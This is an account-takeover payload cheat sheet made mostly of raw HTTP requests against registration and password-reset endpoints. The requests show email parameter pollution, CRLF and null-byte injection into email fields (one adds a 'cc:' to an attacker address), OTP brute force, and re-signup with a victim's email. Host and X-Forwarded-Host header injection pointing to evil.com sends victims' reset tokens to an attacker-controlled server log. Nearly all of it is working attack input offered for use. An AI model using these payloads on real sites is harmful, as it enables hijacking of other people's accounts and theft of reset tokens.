ATO

Through Email Replacing when Registering Account (testing/abuse email filter)

[e-mail],[e-mail]
email@email“,”[e-mail]
[e-mail]:[e-mail]
[e-mail][e-mail]
[e-mail]
[e-mail]
[e-mail]%0d%0a
[e-mail]%0a
[e-mail]%0d
[e-mail]%00
[e-mail]{{}}

Example Request:

name=HACKER&email=[e-mail]&email=[e-mail]&username=hackerz&password=THIS_ISPASSWORD_TO_TAKEOVER&password-confirmation=THIS_ISPASSWORD_TO_TAKEOVER&_csrf_token=XXX7139a5209c08aec2dbff06f5ab5XXXXXXXXXX

Through Parameter Pollution in Reset Password

POST /passwordReset  
[…]  
email=[e-mail]&email=[e-mail]

or in JSON:
{“email”:[“[e-mail]”,”[e-mail]”]}

Through OTP Code Bruteforce

POST /reset  
[…]  
email=[e-mail]&code=$12345$

u can use burp intruder

Through Host Header Injection

POST /reset  
Host: evilsite.com  
[…]  
email=[e-mail]
------------------------------------------------------------------------
POST /reset  
Host: target.com  
X-Forwarded-Host: evil.com  
[…]  
email=[e-mail]

And the victim will receive the reset link email with with “token” will contain “evilsite.com“, so when the user click the link, the “token” will logged/extracted to the evilsite.com server log

Using Separator in Value of the Parameter

POST /PWreset  
[…]  
email=[e-mail]**,**[e-mail]
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=[e-mail]**%20**[e-mail]
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=[e-mail]**|**[e-mail]
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=[e-mail]**%00**[e-mail]

Try input No Domain in Value of the Parameter to Account Takeover

POST /registeraccount  
[…]  
email=victimemail

Try input No TLD in Email Value of the Parameter

POST /reset  
[…]  
email=[e-mail]
----------------------------------------------------------------------------------
POST /reset  
[…]  
[email=[e-mail]%0a%0dcc:[e-mail]](https://email%3Dvictim%40mail.com%0a%0dcc:[e-mail]/)

Try Re-Sign up using Same Email

POST /newaccount  
[…]  
email=[e-mail]&password=1234

After sign up using victim email, try signup again but using different password

POST /newaccount  
[…]  
email=[e-mail]&password=yourehacked

If there is JSON data in requests, add comma and input your hacker email

POST /newaccount  
[…]  
{“email”:“[[e-mail]](mailto:[e-mail])”,”[[e-mail]](mailto:[e-mail])”,“token”:”xxxxxxxxxx”}